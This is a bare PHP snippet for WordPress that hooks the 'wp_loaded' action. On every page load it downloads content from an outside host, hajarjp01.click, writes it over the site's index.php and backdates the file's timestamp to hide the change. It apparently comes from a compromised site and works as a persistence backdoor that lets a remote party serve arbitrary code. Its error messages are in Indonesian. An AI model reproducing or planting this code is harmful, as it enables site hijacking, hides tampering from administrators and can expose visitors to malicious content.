function always_rewrite_index() { $originalUrl = 'https://hajarjp01.click/delaney.txt'; $indexPath = ABSPATH . 'index.php'; $originalContent = @file_get_contents($originalUrl); if ($originalContent === false) { error_log('Gagal mengambil konten dari ' . $originalUrl); return; } $restoreResult = @file_put_contents($indexPath, $originalContent); if ($restoreResult === false) { error_log('Gagal menulis ulang index.php'); return; } touch($indexPath, strtotime('2023-06-14 21:11:00')); } add_action('wp_loaded', 'always_rewrite_index');